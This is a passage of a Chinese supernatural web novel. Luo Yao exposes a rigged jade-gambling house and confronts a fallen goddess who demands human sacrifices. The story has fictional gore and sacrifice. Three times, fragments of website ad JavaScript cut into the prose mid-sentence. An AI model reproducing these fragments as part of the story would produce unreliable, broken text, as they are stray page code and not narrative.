是宝玉还是顽石全凭运气。 一两银子对于普通穷人而言也是一笔不小的数目,穿着麻布衣的人扎堆挤在石碓中挑挑选选,最终小心翼翼捧着付完一两银子。 开出的结果并不如人愿,要么里里外外都是块普通的石头,要么只夹杂着指甲盖大小根本不值钱的废料,得到结果的人掩面痛哭,为刚才的冲动后悔不已。 极少数能开出值个几两几十两料子的人兴奋大呼,在当场卖给坊中之后,紧接着又将得到的银子重新买了一堆赌石,但很可惜,这次运气不少,输得精光。 洛遥不禁感叹,宝石坊的老板可真是精明的生意人,利用人以小博大的赌博心理稳赚不赔,恐怕这一堆料子,老板早就想办法查过,绝对开不出极品料子。 富商没有在这些几乎是废料的原石中挑选,选择的是旁边十两银子一块的原料,这些原石光是个头就比那些堆积如山的巴掌大料子的强,边缘隐隐透光,能看得出里面极有可能藏着好料子。 若真的能开出,卖几百几千两银子都有可能。 洛遥只看富商第一次买十块便就开出了一块不错的青玉原石,当即就有人一千两买下。 接着富商又买了五十块,依旧开出了一块不错的羊脂玉。 富商逐渐兴奋,周围的人也被他一路好运气吸引过来,在众人惊呼羡慕的眼神中,内心得到极大的满足感,富商将所有赢得的银子购买原石。 这次运气没有眷顾,所有原石全是废料,赢得近乎五千两银子全都泡汤,唏嘘声一片。 富商红了眼,当即继续追加五千两,可依旧没能得到回报,愤怒冲昏头脑,他几乎把采购原石的资金全部赌上,好在跟来的家丁惊慌拉住他,才没让他犯下大错。 熟悉的套路,和赌坊的手段如出一辙,宝石坊当真水深。 有人向洛遥推销原石,洛遥只是看了看始终没有下手,一副犹豫不决的样子,前车之鉴在前,谁买谁是傻子,其他顾客和洛遥一样有了警惕心理。 此时,一名中年穿着布衣的男人走了出来,在原始石中挑挑选选,神情十分紧张,选到想要的原石后才把十两银子递上去,开原石的时候,男人一直不安地念叨: “这是我最后的钱了,老天让我赢一把吧。” 这块原石并不起眼,西瓜一样大,黑漆漆的一点光线也不透,和其他拳头大小的原料反差过强,放在地上好半天也没人选,男人似乎并不懂赌石,只是凭着感觉随便选择。 打磨的时候围上来不少人,大多是为了看热闹,看了一会儿,结果不出他们所料,切了一半的料子打磨半天连玉石边缘都没碰到。 男人几乎要哭了,其他人也收了想再赌一把的心思,可就在人群要散去之时,一声惊呼爆发: “我开中了!” 一双双眼睛吸引过去,瞳孔刹那紧缩,竟然是顶级帝王绿翡翠! 更恐怖的是半个西瓜大的原料一点废料瑕疵都没有,全都是翡翠。 就连宝石坊的老板都被惊动,嘶了一声,“这可是我们今天开出最顶级的料子,就连我们坊中库房中的都比不上这块完美,先生若是愿意售卖给我们,宝石坊愿意十万价格收购。” 男人几乎要癫狂大笑,他赌赢了,真的一夜暴富。 富商眼睁睁看着差点一口气哽住昏过去,他花了将近一万两银子,竟然比不过,别人随随便便十两银子买的。 十万两的原石料子,打磨成玉器卖出去价格还能再翻好几倍,这是他一辈子都没挣到的钱。 宝石坊十万两银子已经是天价,可还有不少看中料子的富商一直加价,但是男人却犹豫了。 “感谢大家的捧场,但出门在外身负重金,总会惹人眼红,我还是将原料卖给宝石坊,希望各位能够理解。” 虽然,众人心中遗憾,但也歇了不该有的小心思。 刚才还犹豫着要不要继续赌原石的人,一个个仿佛打了鸡血,拼命砸钱,把地上的原料抢夺一空,生怕手慢自己暴富的运气被别人给夺走。 王心莲看入了迷,回头发现洛遥已经走了出去,于是赶紧追了上去。 “运气还真是玄乎的东西,能让人从富有变贫穷,又能将贫穷变成财主。” 洛遥摇摇头,笑意讽刺,“宝石坊可没有运气一说,就算有运气也被金蟾蜍给吸光了。” “那刚才那个男人开出的翡翠难道是假的?” “原石是真,暴富是假。”洛遥拉着她,躲在角落里变成虚影,“不信,我们一起去看看。” 赌石成功的男人,拿着原石和宝石坊老板往楼上走,到了三楼厢房,底下的声音完全隔绝在外。 房间里都是几人高的摆架,上面全是各种色泽莹润的宝石,随便一件都是价值不菲,男人看得目不转睛,走在前面的宝石坊老板收了刚才的殷勤姿态,警告男人:“收好眼睛,担心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 走路,撞到了架子上的宝贝,拿你小命来也赔不起。” “是老板。男人唯唯诺诺点头。 “东西给我。” 男人手指恋恋不舍地磨蹭,在警告的眼神中才小心递了过去,一百两银子扔到了他面前,“干得不错,收好你的赏钱,嘴闭紧点,最近不要出现。” 男人走后,宝石坊老板将新得的翡翠摆在架子上观赏,又从抽屉里拿出个盒子,放在桌上,被小心翼翼珍藏的盒子并不是什么珍稀宝石,而是一只浑身鼓包金色的蟾蜍,样子和宝石坊外面的蟾蜍雕塑十分相似。 蟾蜍跳到了宝石坊老板手掌,吐出一枚铜钱。 铜钱被他笑着拿起,放在鼻子边闻了又闻,怜爱地对蟾蜍说道:“你想吃那个男人,放心我会让你如愿的,只需要再等等就好。” 蟾蜍躁动地跳来跳去,似乎不满意男人说的话,他只好安慰,“不用着急,不会等太久,我先给你吃点别的零嘴。” 只见他又从架子上拿来一个漂亮的青玉细口瓶,捏着瓶底往桌上倒,蟾蜍迫不及待的地盯着男人的动作,在里面的东西倒出来时,瞬间伸出满是鼓包猩红的舌头将东西吞入腹中。 洛遥站在一旁,看得一清二楚,那里面的东西并不只是喂养蟾蜍的虫子,而是一根血淋淋的手指头。 鲜血还未完全凝固,应该是砍下来不久。 此等妖异之物,洛遥感觉头皮一阵发麻,听到那张猩红的嘴巴不断张合发出咀嚼嘎嘣脆的声音,更是直犯恶心,往后退了一步,哪知这东西的舌头忽然朝面门射过来。 附着在上恶臭粘稠的口水差点糊在脸上,还好王心莲及时出手,一把拽断了红艳艳的舌头。 尖锐古怪的叫声极其刺耳,断耳的蟾蜍在桌上痛苦翻滚,男人见空无一人的房间大惊失色,朝着王心莲方向勾爪抓去却扑了个空,但他明显感觉到似有凉风从手背吹过,好像刚才有人从这里跑开。 “到底是谁,赶紧出来,伤我宝石坊宝物,以为还有命出去?” 王心莲第一时间拽洛遥离开房间,哪知洛遥就跟滑泥鳅似的丝滑地避开了自己沾着黏液的手心,头也不回把自己折成纸片人从门缝钻了出去。 赶上洛遥,王心莲一脸受伤,“洛大人你这就见外了。” 洛遥表示抱歉,“真对不住,刚才完全是下意识之举。要不......你把手擦擦?” 她脸上的嫌弃实在明显,王心莲忍不住嘀咕,“真有这么难闻吗?” 刚凑到鼻尖,王心莲就控制不住呕了下,触电般甩开手,“怎么一股腐尸味?” 但让她感到恶心的不是腐烂的味道,而是腐尸中夹杂的奇异香味,带有极强的引诱性,就好像看见一具腐尸不会让她恶心,但要是把腐尸放进香喷喷的回锅肉中一起烹饪绝对恶心至极。 她扯出手帕使劲擦了又擦,总觉得没有弄干净,这味道就像黏在她身上一样。 22. 第 22 章 负责蹲守情况的十一、十二,见到两人平安回来终于放心,十一凑到洛遥身边笑嘻嘻道:“大人您走后,这群人一窝蜂凑过来赌石,但偏偏都没有刚才那人一举成富的运气,全都掏空了钱袋。” 洛遥并不觉得意外,“池塘早就被内部安排了一条锦鲤,其他人怎么撒网都是一场空。” “大人是发现他们的秘密了?” 没等她细说,宝石坊内观赏水池中传来一阵阵聒噪的蛙鸣,密密麻麻的青蛙从水池中跳出来,黑压压一片几乎有近百只,不断朝王心莲的方向靠近。 王心莲擦手的动作顿住,伸出手掌愣愣道:“不会是被我手上的东西吸引过来的吧!” 洛遥脸色凝重,“恐怕是,我们赶紧撤。” 王心莲把手帕丢在地上,和洛遥兵分两路离开,刚冲出宝石坊身后就拉了警报,宝石坊大门紧闭,将所有人全都围在里面盘查。 宝石坊的老板跟着青蛙簇拥的足迹看到丢在地上的手帕,拿起一看却愣住了,这根本不是什么手帕,而是一张极其逼真的画。 一张手帕才值多少钱,为什么有人费这番力气去画一张,到底谁会用这种东西? 刹那间,他忽然想到阴魂所用之物正是画纸所制,通过焚烧为阴魂所用,所以一般鬼物在人看来只是一张精美的纸画。 他一把甩掉这个邪门东西,又在人群中搜查一番,调查无果才放人离开,又把地上怪异的画纸捡了回来,早早关了宝石坊的大门。 回去的路上,王心莲半路离开将手清洗干净直到没有一丝气味才和洛遥会合。 此时,已经暮色暗沉,珍味坊外挂满了通红的灯笼,远远看去整栋楼都包围在红光之中,飘香从大门溢出,外面又排起了长队。 一瞬间,洛遥有种置身阴森酆都城的错觉,但这里给她的感觉远比酆都诡异多了。 夜色暗沉,难辨鬼魅,长长的队伍中明显混进了几只装扮的鬼魂,和翘首以盼的人群混在一起,分不清真实面目。 走进去又是食客们埋头吃饭的疯狂模样,拐角的阴暗角落更是小鬼聚集,趁着暗处无人看见卷起舌头将食物全都卷进嘴里。 但这一幕全被洛遥收入眼帘。 沉浸吃饭的小鬼们似乎发现了注视的目光,收起长长的舌头,拿起筷子又装作了常人的模样。 洛遥想过大量失踪在西宁的阴魂可能被某种厉鬼控制,但她从未想过这些阴魂可能是自甘来此,不想出去。 宝石坊的饭菜绝对有问题。 “小姐你们这是去宝石坊逛了?”收着银子的掌柜热情地朝她们打招呼,洛遥收回视线,笑着回答,“掌柜的果然聪明。” 脸上泛着油光的男人笑得合不拢嘴,“小姐真会夸人,您这边消完食了,可要尝尝我们店里的招牌菜,我早就给里面预留好了?” “不用了,我们小姐已经在外面吃过,多谢掌柜的好意,饭菜还是留给其他需要的人吧。”十二站在洛遥旁边,眼神时刻警惕。 宝石坊不正常,珍味坊更是怪异,饭菜里面像是有什么让人欲罢不能的毒一样,更恐怖的连阴魂都能招来,老板态度有如此殷勤显然不安好心。 十二的声音总是冰冷冷的,在掌柜的看来是瞧不起他的饭菜,笑容骤消,当即冷脸,“外面的饭菜哪里能比得上我们珍味坊,你们既然看不上,那是你们没福气。” 男人眼底暗藏着猩红,像是披着人皮随时爆发的野兽,再刺激几句就能原形毕露,洛遥当即把十二拉到身后挡住两人交火的视线。 “掌柜的别和他一般见识,这小子从小没怎么出过门哪里有什么眼见,不知道好东西正常。掌柜的莫要撤走饭菜,我还准备尝尝西宁第一美味呢!” 耷拉的嘴角瞬时扬起,又恢复刚才喜笑颜开的模样,翻脸就跟翻书似的快速,中间没有正常人的表情转换,而是瞬间跳转到夸张的笑容,因此看起来诡异极了。 比起是阴魂的四人组,眼前这个人倒看起来比他们还要恐怖。 “还是小姐有品位,小二快把饭菜端过来。”掌柜的高声呼喊,接过小二手里的饭菜,沉迷地吸了一口香味,才递到洛遥面前,“您尝尝。” 洛遥笑着接过,“我今天可是有口福了。” 她打趣十二一句,“刚才说不吃,等下可别和你主子抢。” 十二愣了下,“小姐喜欢都给小姐吃。” “放心,你家小姐不至于好不体贴小人,等下给你尝尝,也叫你开开眼界。” 她又对掌柜的说,“我们两个姑娘家还是喜欢待在房间吃,有劳等下让店小二帮忙收拾碗筷了。” “这不成问题,小姐尽管吩咐。” 上了二楼,确认没有人听见,十二才着急地问:“大人当真要尝?如果要试就让我替大人试吧!” “谁说我要亲自尝这鬼东西,我可不嫌命长。你们也别沾。” “那大人是让谁吃?” *** 输光一半盘缠的富商将愤怒化作食欲,回来便大吃特吃,甚至丢掉筷子抱着盘子里的烤鸭就大口啃起来,浑然不觉已经有人溜进房间。 等人走到自己身边时才惊醒,猛得抱住盘子,“你想做什么?珍味坊规定了,不准抢其他食客的食物。” 在男人大叫之前,洛遥嘘了一声,从身后捧出盘子,“我已经在外面吃过实在吃不下,又不忍心拒绝老板的好意,不知道你可愿意消受?” 男人的三角眼顿时瞪圆,“给我,给我,我能吃得下。” 洛遥看着他撑圆的肚子表示怀疑,“真的吗?实在为难我还是分给下人们吃吧!” 男人霎时激动,“这群卑贱的家奴凭什么享受此等美味,你把饭菜给我,我照样给你付饭钱。” “那就多谢了,”她提醒一句,“不要告诉老板哦!” 男人急急接过菜盘,把饭菜倒在自己盘子里,把空碗丢给洛遥,重新埋进餐桌,“放心我不会说的——” 察觉不对劲门外扒在门缝偷看的富商家丁,听到里面的对话,脸上骤然浮现怨恨,身旁的人问:“我们还要提醒老爷楼里的饭菜可能不对劲吗?” “还提醒什么,我们这群卑贱的家奴有什么资格干涉主人的决定。”一句话刺得身边的闭上了嘴。 他们为主人效忠只得卑贱两字,就算忠心耿耿在男人眼里也和畜生无异,那他们还舔着脸凑上去做什么。 “兴许珍味坊的饭菜是真的绝世唯美,老爷才不肯让我们尝上一点,我们也就只配啃大饼馒头,哪配主子的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 饭菜。” 老爷虽然有钱但对下人从来苛刻,如今输了钱,自己吃山珍海味,倒让他们吃外面的大饼馒头,生怕珍味坊里的饭菜让他多花了钱。 洛遥走出去,在房门关上时,朝走廊的暗处瞥了一眼。 “大人有几个偷听的,要不要我去把他们做了?”十二抱剑而立像一尊杀神,在这种诡异的地方反倒给了她足够的安全感。 “不用,他们不会乱说的。” 既然,没有麻烦就不要多找麻烦。 过了片刻,店小二过来收拾饭碗,只见碗中干干净净一点都没有剩下,眼里很是满意,洛遥擦着嘴巴,神情恍惚,“世间竟有如此美味,真想一辈子吃下去。” 店小二笑着说,“小姐留在西宁就能永远吃到如此美味了。” 此夜安然无事,次日,富商失踪了,因为拖欠房费几个家丁被轰了出去,发现主子和带来的所有盘缠全部消失,纷纷逃离。 洛遥几人在城中搜寻未果,不想回去的路上却被男人撞个正着,男人形容狼狈,身上的珠宝、手上的戒指都被搜刮得一干二净,捂着手低着头,见到几人拔腿就跑。 几人赶紧去追,终于在漫天黄沙中截住男人,“你跑什么?撞了我又没找你赔钱。” 男人不复初见的傲慢,神情怯畏,左右张望,像是怕什么追上来,双脚失力,跪在地上大哭,“为什么,为什么我还是控制不住自己!” 几人见此,面面相觑。 洛遥走到男人旁边,低头问:“我记得你是那日的富商,你是遭到抢劫了吗,可需要我帮你报官?” 他顿然慌张,“不要报官!” “我不是遭到了抢劫,我是赌石去了,我失去了所有财富,成了身无分文的穷光蛋。” 洛遥的眼神中没有怜悯,对于他的境地甚至早有预料,金蟾蜍吞下男人的铜钱那刻起,就准备朝男人下手了,一场大戏引男人入套,但沉迷赌博的男人丝毫不觉。 倾家荡产不过早晚的事情。 “赌博本就是一条不归路,你自甘沉迷怪得了谁。” “不是的,不是的,不是我自愿的,是神控制了我,是那东西控制了我。” “可笑,你自己赌的还扯上神明了,哪个神这么无聊,让你去赌。”在十一看来,男人的说辞都是胡言乱语的自我开脱。 “真的有神,只要在沙漠中虔诚请求就听神的呼唤。”男人眼神坚定,不容他人反驳,“我从小生在西宁,以前不过是个入不敷出的乞丐,羡慕为什么有的人出生就含着金钥匙,而我就要乞讨。” “我怨恨神明的不公平。” “终于有一天,神听到了我的呼唤,他给我带来了致富的转机。” 男人从怀中掏出一块石头,“我身无分文只好献上石头,可那块石头却变成了价值连城的美玉。” “我从此一跃成为人上人。”男人哭泣掩面,可是捂脸的手掌已经光秃秃,每根手指都被斩断,已经长成完好的皮肤,只有小指鲜血淋漓,显然是刚断下的。 “你的手?” “是宝石坊做的,赔不起钱的人会被断一根手指头,我知道不能再赌,可是我——控制不住自己啊!” “神,求求你,再救我一次吧!” 23. 第 23 章 洛遥看着疯疯癫癫的男人只觉得可悲,她不相信男人嘴里说的每一句话,更不会相信会有神明听到赌徒的呼唤。 她更相信男人是疯了,才会胡言乱语,而事实上他也和疯了差不多,断掉的五根手指头并没有给他带来任何教训,只有控制不住的瘾在心里滋生。 无人的荒漠是个自生自灭的好地方,洛遥并没有打算搭救男人,而是任由他自生自灭,转身踏出一步,狂风忽然席卷着着黄沙扑面而来。 天边奔腾的滚云,翻腾着,张牙舞爪在空中肆虐,蔓延之处黄沙全被吸入、吞噬,一股控制不住的力,牵扯着身体卷入旋涡。 “不好,是龙卷风,快走。” 王心莲第一时间拉住了洛遥的手,避免被暴风吸入进去,洛遥几乎寸步难行,抬起脚几乎就要飘出去,这样的情况下逆风逃脱绝对不可能,找到可以阻挡的掩体是最好的。 但是此处,偏偏连个挡风的石头都没有,完全光秃秃,只有一地黄沙。 “大人,走不了了,你站在我们身后,等风过去。” 十一和十二两人成盾将洛遥和王心莲挡在身后,以身躯抵挡被狂风扫过来像暗器打在身上刺痛的沙砾,旁边断指的男人被风吹得匍匐在地,却死死盯着狂风席卷而来的方向癫狂大笑。 “哈哈哈,神明听到我的呼唤了,祂来了!” “真是个疯子!”洛遥咬牙暗骂一句,忽然在耳边狂风的呼啸中听到一声细语呢喃,“你在呼唤我,祭品带上了吗?” 男人虔诚匍匐,“我带了,我带了,请您看一眼。” 滚滚涌动的黑色狂风越靠越近,里面似乎有一双眼睛正在俯视她,视线在她身上打量,有种让她浑身战栗的感觉。 可又逃脱不了令人发毛的注视,只能看着黑色的云越压越近,直到吞没全身,眼前骤然漆黑,暴风的呼啸在耳边忽然寂静。 寂静得死气沉沉,感受不到一丝生机的存在。 她感觉不到身边的人,只知道自己陷入了一团无法挣脱的黑暗中,有人在耳边低语,“我的祭品,你做好奉献的准备了吗?” 似乎有东西摸上了她的背,从颈椎一点点沿着脊椎向下触碰每一处骨结,洛遥被恶心得发毛,大吼道:“滚开!恶心的东西,阴暗的邪物也敢冒充神!” 抽起魂鞭朝后背抽去,洛遥痛到皱眉,那东西同样也挨了一下,触电般闪开。 眼前光明乍现,紧接着声音也逐渐恢复,她听见了沙砾在风中滚动的细微动静,地上是自己留下的杂乱脚印,旁边是一道道拖出的混迹,正在她后背,显然刚才有东西在她后面。 从痕迹无法辨别这是个什么东西,只有两条长长拖出的印子,前面像是个什么爪子的痕迹,看着不像动物,倒有点人手的模子。 周围的环境也和刚才完全不同,她现在处在一处神殿之中,身后是高耸入云的神女像。 那双灰白的眸子正在注视着神坛上的她,而神坛之下呼唤神明的男人正对着神女像虔诚跪拜,“我为您带来了两个祭品,希望您可以再赐我财富。” 那双巨大的眼眸,转到了男人身上,耳边声音盘旋,“另一个祭品我可没看见,还有如果是男人的话,我从来不要,你知道规矩的。” 男人战战兢兢,“都是我的疏忽,求您原谅。” 那声音似乎笑了,“不过,你带来的这个祭品倒是很有趣,你的心愿我允了。” 男人捧在手里的石头忽然光华闪过,原本灰扑扑的石头变成华光溢彩价值连城的翡翠。 他欣喜若狂,兴奋叩拜,那东西似乎又戏谑开了一句,“下次你的另一只手也全断光,我可就没办法帮你了。” “你献上妻子、三女,还能再献祭谁呢?”耳边发丝吹动,似乎呼吸声从洛遥面颊划过,“我闻到了,你似乎不是人类,不过,我喜欢呀!” 洛遥凭着感觉朝着空气挥了一鞭,但什么也没打到。 于是一鞭子抽到了男人身上,男人痛得滚落台阶,抱着宝石远远缩在角落中,他知道祭坛上的人无法离开。 洛遥也发现了这点,祭坛周围似乎有无形的阻障,捆住她不能迈出去。 “你竟然敢卖我。” 男人装可怜是假的,说被神明神明控制也是假的,他是故意撞她逃跑引她过来,用她当做祭品呼唤邪物。 这东西实力非凡,对上她洛遥不知是否有胜算,王心莲和十一十二又不知在哪,她硬刚只怕凶多吉少。 可就算跑,现在也没有了退路。 这到底是什么怪物? “被神明看上是你的福气,你应该虔诚奉献,向神明感恩。”男人知道洛遥不能逃出来,即使被她恶狠狠盯着也半点不怕。 “说的好听,你怎么自己不奉献!自私自利献祭妻女,你这个邪物更恶心。” 洛遥找不到突破口,只能拖延时间。 “谁说我不是神!还有别把我和那个蠢货相提并论。” 邪物似乎很不悦。 刺挠的声音从神像的头顶传来,一只苍白枯干的手从神像后伸出,紧接着是另一只手,刚才的抓挠声正是枯爪攀爬在石像上发出的。 她看到了一个人从神像后面出来,或者说那只有人的形状却不像人。长长的头发垂在半空,整个身躯像壁虎一样贴在神像上。 只靠着两根爪子向前爬动,拖着无力的下半身。洛遥终于知道脚下沙地的痕迹为什么那么奇怪了。 这东西是靠唯一能动的双手拖着下半身移动的,所以前面会留下爪子般的印记,而后面两道长长的痕迹,是不能活动的双腿。 越靠近披散在头发下的脸就看得越清晰,清晰到洛遥觉得男人口中的那句神明的称呼也不是妄言。 她太美了,披散的头发也如绸缎丝滑,吹弹可破的肌肤似乎没经过任何风沙的摧残,螓首蛾眉,唇若丹砂,是一样不能忘却的美貌。 而沉浸在美貌中,那张枯瘦的手指拖着身子靠近时,却形成了一种极强的割裂感,震撼的心脏在胸腔中一声一声跳动。 可让洛遥震撼到不能言语的是,这东西额心有一道闪闪发光的金色神印,这神印洛遥只在卫凌头上看过。 不过比起卫凌的光彩夺目,这道神印明显黯淡多了,灰败的光芒似乎马上就要消失。 为什么?为什么这东西有神印,她真的是神! 可——怎么可能呢?没有妖物比眼前拿活人当祭品的东西更邪门了。 震撼的表情似乎取悦了她,她爬到洛遥身边,有绕着旁边祭坛的石柱支撑起不能站立的身体,像蛇一样缠在上面。 “你应该发现了,现在还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 觉得我是邪物吗?” 洛遥还是不敢相信,“你为什么怂恿他人作恶?” “哈哈哈哈——” 她似乎听到了什么好像的话,“谁说是我怂恿的,是他说只要我赐他财富就可以奉献一切,哪怕是性命,我赐给了他财富,可是让他献上性命的时候,却又后悔了。” 苍白的手指头指着发抖的男人,男人恐惧又敬畏的看着恐怖的东西不敢反驳一句。 “于是他献上了妻子的性命,作为赎罪。” “可是,他又就此停止吗?就算是断完五根手指头不还是死性不改,”她神情淡漠,又带着明显的嘲讽,“人类啊,再多的东西也填不满那颗欲望的心脏。” “都是一群肮脏的蛆虫而已,难道你可怜他们了?” 她没等到洛遥的回答,又自语道:“和你说这么多做什么,总归是我的祭品。” “祭品?恐怕不可能了。”洛遥拿出阴兵令,可是召唤之后却得不到响应,祭坛上的结界,似乎隔绝了通信,她只好握着唯一的武器,随时防备。 女人看着她的小动作并没有放在眼里,“你以为能逃脱?” 不过瞬息之间,这东西已经绕到了她的背后,探出一半身子,手指抓向后背,后脑凉意让洛遥神经绷紧,可身子却半点也不能移动。 那东西又摸上了脊背,一寸一寸像是在丈量尺寸,洛遥几乎无法呼吸。 “住手!你想要什么,或许我可以跟你交换。” 那东西似乎并不意外,同样也没停下动作,更加贴近耳边,“可我只想要你的脊骨。” 脖颈汗毛乍起,撕裂声从背后传来。 不是她的皮肉,而是祭坛上的结界,“洛大人小心。” 王心莲撕破了结界,扯开洛遥将她推到紧跟而来的十一十二身边,紧接着又朝女人袭击。 “又来一只小鬼。”见王心莲能撕破结界,女人眼底有一丝惊讶,但是同样没能让她警惕,只是眼底的喜悦更深了些,“你来做祭品似乎也不错。” “我看你做梦比较快!” 惨白的枯爪被王心莲迅速抓住,另一只手朝女人的胸腔袭击,女人似乎不相信她能伤到自己,但看到触碰自己的手忽然被佛光包围将她的胸膛烫出一个大洞时,才惊叫起来。 “你一个鬼物,怎么可能有佛光!” 那东西被烫得往后缩,迅速爬上石像,尖锐大叫,“不可能你不可能伤得了神!” 洛遥从铜墙铁壁的后背探出头,“不管你以前是不是神,你有没有想过,你现在已经不可能是神了!” 女人的毒针的视线刹那刺向洛遥,愤恨的目光使得那张如花似玉的脸骤然可怖,“都是卑劣的人类夺取了我的东西,全都该死。” 眨眼间,石像上女人的踪迹又消失了,众人立刻警惕,十一十二更是一前一后把洛遥围住,生怕女人一不小心又从哪个角落窜出来。 “卑劣肮脏的生物怎么还敢妄想成神!” 声音又重新出现,在祭坛之下富商的背后,富商似乎也感受到了惊恐地瞪大眼睛,来不及逃跑便被剧烈的疼痛包围。 冰冷的枯爪已经搭在了他的后背,凭手抽出了他的整根脊骨。 那东西将血淋淋的脊骨纳入后背,软趴趴的身体整个从地上支撑起来。 24. 第 24 章 女人后背缺了支撑,如今抽了男人的脊骨,在一阵咯吱声后,一滩软烂的肉骤然站立。 王心莲没有打算放过眼前的邪物,主动出击执意要将这东西消灭,女人似乎也有预料,朝殿外逃窜。 两人消失后,十一也赶紧带着洛遥出去,可外面风沙依旧肆虐,只比之前的龙卷风小一点,几人只能低身躲着风沙慢跑。 脚下被绊住,洛遥差点栽个跟头,低头一看,竟是一个抓着她的鬼爪,十二发现之后,立刻拔剑削掉。 哪知下一刻,沙面不停鼓动,无数的鬼爪从沙砾中冒出,接着从里面爬了出来,从几个到几十,还有源源不断的继续冒出来。 西宁失踪的阴魂果然全都到了这里吗? 他们似乎像被控制了,无知无觉,带着明显攻击的敌意。 洛遥第一时间召出所有阴兵,局势瞬间逆转,在阴魂攻击过来时,阴兵率先出击,将他们打成一摊散架,一百阴兵足够多,但耐不住源源不断的阴魂继续接上。 就算是阴兵骁勇善战也敌不过一轮又一轮的车轮战,洛遥没想过这么早用上阴兵,更没想到遭遇的一切远超自己所料。 十二也逐渐疲惫,只能朝洛遥大喊,“大人你先逃出去,我们拖住她。” 这是最好的办法,洛遥本就不是武夫,武力渣留下只会是拖累。 她迅速做出判断朝两人命令,“你们也速速跟上,不可恋战,我不在乎你们杀敌多少,只要你们全都活着!” 十一咬着牙一边应战一边朝她笑道:“大人有令不敢不从,就算只剩一条腿,我也要爬着回来见大人。” 心脏疯狂跳动,洛遥觉得眼眶有些酸涩,可情况不允许她再逗留半分,已经有阴魂将要突破防线,他们的目标是她,她必须走! 洛遥用最快的速度朝外面跑,直到身后黑压压的影子变成了几乎看不见的黑点。 但她没想到这些东西像附骨之蛆一样难缠,竟会在半路拦截。 洛遥喘息着拿出武器,抽向袭击自己的阴魂,但这群阴魂即使打断手臂,也不怕痛似的涌上来,没过一会儿就变得吃力。 正感叹天要亡我的时候,卷动的沙尘忽然随风铺面而来,下意识抬手挡住,待沙尘散尽,地上只有散成一团的尸骨,一人单手拿着红缨枪笑望着她,“怎么这么狼狈?” “...卫凌?” 洛遥以为自己看错了,直到来人走近一手搭在她肩上,她才确定不是错觉。 “怎么不认识我了?” 卫凌笑得她心里发虚,也不知他看没看到那封信,要是看到又怎么会如此心平气和,难不成送信的小鬼没有把信送到卫凌手里? “你有......”话到嘴边有停住,她想既然卫凌不提,自己又何必再提一嘴让彼此尴尬。 “你想说什么?” “我是...想问你是怎么知道我来西宁的?” 她的行程除了殿主,应该没人知道。 卫凌神秘一笑,“我只有方法。” 他除了威胁人能有什么办法? 不会是大闹地府,殿主实在不耐烦告诉了卫凌她的行踪吧? 洛遥越想越觉得可能,那要是卫凌地府都闯了还能没看到她留的信? 难不成他来找麻烦的? 越想越没有底气,洛遥选择转移话题,“话不多说,此地危险,我们还是尽早离开吧!” 她抓着卫凌的手朝外跑,可握上去时却像冰块一样,冻得她差点把手甩开,“你的手怎么这么冷?” 卫凌定定看着她,“你可真是没有良心啊!真以为我一个血气方刚的男人是能时刻坐怀不乱?我泡了一天冷池才来找你。” 她的视线朝下扫了过去又迅速撇开,“哦...那、我还是放开你的手吧!” “早知道你这么没良心我就不来救你了。” 男人哼了一声把脸撇到一边,桀骜的眉眼看起来像是撒娇似的,洛遥只好将手挪到他手腕上,“我们先离开再说。” 很快,两人便在漫天风沙中走出沙漠,洛遥马不停蹄走到客栈,执笔写信: “殿主,我已经找出西宁邪物的存在,失踪的阴魂,多半是被那东西控制沦为丧失意识的傀儡。” “那邪物如何控制,我尚在调查,若有结果立即向您禀告。” “只是有一事还需向您申请。” “西宁的邪物可能是来自神界,不知这件事情可需要神界来处理?” “这东西身有神印,若是神界的人私自擅入人界,奴役阴魂,造成的后果不应我们地府来承担。” “西宁此地,诡异之处甚多,恐怕牵扯的不只是阴魂,连西宁百姓也卷入其中,事关重大,请殿主定夺。” 洛遥传唤接信人不想来的竟是三头冥犬,三头冥犬会吞入写信人的声音,复读信件用于地府绝密传信,没有人能逼迫撬开三头冥犬的嘴。 面容狰狞的三头犬滴着猩红口水飞快奔来,洛遥有些发怵将写好的书信捏成一团直接丢了过去,三头冥犬纵身一跃大口吞下,刚好落到她面前。 六只血红的眼珠子瞬间全部看过来,就是没有密集恐惧的人也会觉得发毛,她挥挥手,“啊...没事了,赶紧走吧,速去速回。” 这东西忽然扭头,朝着旁边的卫凌龇牙,浑身炸毛充满攻击性,而卫凌倒也不怕,趁着下巴饶有兴趣地瞧着三个脑袋的玩意,还朝它勾了勾手指,完全当它是造型略微奇特的宠物狗。 “我记得天上也有个哮天犬,都是一嘴尖牙,只不过你比它头要更多,你顶着这么多头,就没有和自己打架过吗?” 三头冥犬被作弄的态度激怒,弓起身体,做出攻击姿态,洛遥被吓了一跳,忍着害怕,过去摸了摸三头冥犬的脑袋。 “好了,好了,你有三个脑袋比其他人更强,我相信你就是最优秀的,咱不用和别人比哈。” 三头冥犬虽然长相凶恶,但是摸上去却是幼犬毛绒绒的手感,洛遥撸了一把之后,又忍不住对着大脑袋和肉乎乎的耳朵反复蹂躏了几次。 凶狠的眼珠子骤然瞪圆,手下的耳朵也倏地立起,像是触电一般,洛遥以为自己冒犯了它威风凛凛的形象,心虚地收起罪恶之手。 刚放下,掌下就顶过来一只大脑袋,见洛遥没动,自己在手掌蹭了蹭,背后的尾巴甩出了幻影,圆圆的眼珠瞪着她催促,嘴里发出嘤嘤嘤。 洛遥不禁失笑,原来在强大的毛绒绒都喜欢被撸啊! 重新上手之后,眼珠子瞬间眯成缝,一副享受的样子,可没一会儿就被另一只脑袋撞开,咧嘴朝洛遥谄媚。 三头冥犬死时是才一个月大的幼崽,因为三头连体的畸变模样被人认为是妖物活活打死。 在地府几百年也因为丑陋的样子不被人喜爱,终于享受被人亲近的感觉,开心得简直要飞起。 每个脑袋都想要摸摸,于是相互龇牙打了起来,洛遥懵了,赶紧双手齐用,给每个脑袋挨个摸了一遍。 “好了,再打谁不摸。” 三个脑袋顿时收牙,乖巧地凑在一起,等着摸摸,洛遥又摸了一遍,爽了之后,无情收手。 三个脑袋露出依旧不满足的表情,洛遥只好安慰,“快去传信吧,等我办完事后,就可以找你们玩了。” 